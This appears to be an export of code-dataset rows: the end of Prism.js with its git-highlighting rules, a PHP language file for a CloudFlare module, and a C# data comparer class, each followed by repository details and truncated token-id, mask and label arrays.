return '<' + env.tag + ' class="' + env.classes.join(' ') + '" ' + attributes + '>' + env.content + '</' + env.tag + '>';
};
if (!self.document) {
if (!self.addEventListener) {
// in Node.js
return self.Prism;
}
// In worker
self.addEventListener('message', function(evt) {
var message = JSON.parse(evt.data),
lang = message.language,
code = message.code;
self.postMessage(JSON.stringify(_.util.encode(_.tokenize(code, _.languages[lang]))));
self.close();
}, false);
return self.Prism;
}
// Get current script and highlight
var script = document.getElementsByTagName('script');
script = script[script.length - 1];
if (script) {
_.filename = script.src;
if (document.addEventListener && !script.hasAttribute('data-manual')) {
document.addEventListener('DOMContentLoaded', _.highlightAll);
}
}
return self.Prism;
})();
if (typeof module !== 'undefined' && module.exports) {
module.exports = Prism;
}
;
Prism.languages.git = {
/*
* A simple one line comment like in a git status command
* For instance:
* $ git status
* # On branch infinite-scroll
* # Your branch and 'origin/sharedBranches/frontendTeam/infinite-scroll' have diverged,
* # and have 1 and 2 different commits each, respectively.
* nothing to commit (working directory clean)
*/
'comment': /^#.*$/m,
/*
* a string (double and simple quote)
*/
'string': /("|')(\\?.)*?\1/m,
/*
* a git command. It starts with a random prompt finishing by a $, then "git" then some other parameters
* For instance:
* $ git add file.txt
*/
'command': {
pattern: /^.*\$ git .*$/m,
inside: {
/*
* A git command can contain a parameter starting by a single or a double dash followed by a string
* For instance:
* $ git diff --cached
* $ git log -p
*/
'parameter': /\s(--|-)\w+/m
}
},
/*
* Coordinates displayed in a git diff command
* For instance:
* $ git diff
* diff --git file.txt file.txt
* index 6214953..1d54a52 100644
* --- file.txt
* +++ file.txt
* @@ -1 +1,2 @@
* -Here's my tetx file
* +Here's my text file
* +And this is the second line
*/
'coord': /^@@.*@@$/m,
/*
* Regexp to match the changed lines in a git diff output. Check the example above.
*/
'deleted': /^-(?!-).+$/m,
'inserted': /^\+(?!\+).+$/m,
/*
* Match a "commit [SHA1]" line in a git log output.
* For instance:
* $ git log
* commit a11a14ef7e26f2ca62d4b35eac455ce636d0dc09
* Author: lgiraudel
* Date: Mon Feb 17 11:18:34 2014 +0100
*
* Add of a new line
*/
'commit_sha1': /^commit \w{40}$/m
};
;
Prism.hooks.add('after-highlight', function (env) {
// works only for <code> wrapped inside <pre data-line-numbers> (not inline)
var pre = env.element.parentNode;
if (!pre || !/pre/i.test(pre.nodeName) || pre.className.indexOf('line-numbers') === -1) {
return;
}
var linesNum = (1 + env.code.split('\n').length);
var lineNumbersWrapper;
var lines = new Array(linesNum);
lines = lines.join('<span></span>');
lineNumbersWrapper = document.createElement('span');
lineNumbersWrapper.className = 'line-numbers-rows';
lineNumbersWrapper.innerHTML = lines;
if (pre.hasAttribute('data-start')) {
pre.style.counterReset = 'linenumber ' + (parseInt(pre.getAttribute('data-start'), 10) - 1);
}
env.element.appendChild(lineNumbersWrapper);
});;
| TimothyGu/fateserver-node | public/js/prism.js | JavaScript | mit | 12,087 | [
30522,
1013,
1008,
8299,
1024,
1013,
1013,
26113,
22578,
1012,
4012,
1013,
8816,
1012,
16129,
1029,
6991,
1027,
26113,
1004,
4155,
1027,
21025,
2102,
1004,
13354,
7076,
1027,
2240,
1011,
3616,
1008,
1013,
2969,
1027,
1006,
2828,
11253,
3332... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
$lang = array(
'cloudflare_mk_module_name' => 'CloudFlare MK',
'cloudflare_mk_module_description' => 'CloudFlare MK Remote Admin',
//
''=>''
); | michellekondou/cloudlfare-module | system/expressionengine/third_party/cloudflare_mk/language/english/lang.cloudflare_mk.php | PHP | gpl-3.0 | 154 | [
30522,
1026,
1029,
25718,
1002,
11374,
1027,
9140,
1006,
1005,
6112,
10258,
12069,
1035,
12395,
1035,
11336,
1035,
2171,
1005,
1027,
1028,
1005,
6112,
10258,
12069,
12395,
1005,
1010,
1005,
6112,
10258,
12069,
1035,
12395,
1035,
11336,
1035,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Linq.Expressions;
using System.Reflection;
using System.Text;
namespace STSdb4.Data
{
public class DataComparer : IComparer<IData>
{
public readonly Func<IData, IData, int> compare;
public readonly Type Type;
public readonly Type DataType;
public readonly CompareOption[] CompareOptions;
public readonly Func<Type, MemberInfo, int> MembersOrder;
public DataComparer(Type type, CompareOption[] compareOptions, Func<Type, MemberInfo, int> membersOrder = null)
{
Type = type;
DataType = typeof(Data<>).MakeGenericType(type);
CompareOption.CheckCompareOptions(type, compareOptions, membersOrder);
CompareOptions = compareOptions;
MembersOrder = membersOrder;
compare = CreateCompareMethod().Compile();
}
public DataComparer(Type type, Func<Type, MemberInfo, int> membersOrder = null)
: this(type, CompareOption.GetDefaultCompareOptions(type, membersOrder), membersOrder)
{
}
public Expression<Func<IData, IData, int>> CreateCompareMethod()
{
var x = Expression.Parameter(typeof(IData));
var y = Expression.Parameter(typeof(IData));
List<Expression> list = new List<Expression>();
List<ParameterExpression> parameters = new List<ParameterExpression>();
var value1 = Expression.Variable(Type, "value1");
parameters.Add(value1);
list.Add(Expression.Assign(value1, Expression.Convert(x, DataType).Value()));
var value2 = Expression.Variable(Type, "value2");
parameters.Add(value2);
list.Add(Expression.Assign(value2, Expression.Convert(y, DataType).Value()));
return Expression.Lambda<Func<IData, IData, int>>(ComparerHelper.CreateComparerBody(list, parameters, value1, value2, CompareOptions, MembersOrder), x, y);
}
public int Compare(IData x, IData y)
{
return compare(x, y);
}
}
}
| Injac/STSdb4 | STSdb4/Data/DataComparer.cs | C# | gpl-2.0 | 2,148 | [
30522,
2478,
2291,
1025,
2478,
2291,
1012,
6407,
1012,
12391,
1025,
2478,
2291,
1012,
11409,
4160,
1025,
2478,
2291,
1012,
11409,
4160,
1012,
11423,
1025,
2478,
2291,
1012,
9185,
1025,
2478,
2291,
1012,
3793,
1025,
3415,
15327,
8541,
18939,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.